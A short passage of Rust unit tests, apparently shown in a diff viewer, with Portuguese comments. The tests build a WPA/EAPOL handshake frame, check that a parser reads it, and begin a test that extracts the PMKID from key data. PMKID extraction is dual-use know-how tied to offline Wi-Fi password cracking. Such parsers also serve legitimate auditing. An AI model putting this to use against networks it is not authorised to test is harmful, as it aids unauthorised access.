frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
frame[17..49].fill(0xaa); // nonce
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
assert_eq!(parsed.message, 1);
assert_eq!(parsed.key_version, 2);
assert!(parsed.pairwise);
assert_eq!(parsed.replay_counter, 1);
}
#[test]
fn extracts_pmkid_from_key_data() {
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
Loaded 100 of 134 files, more files were not shown because too many files have changed in this diff. Show more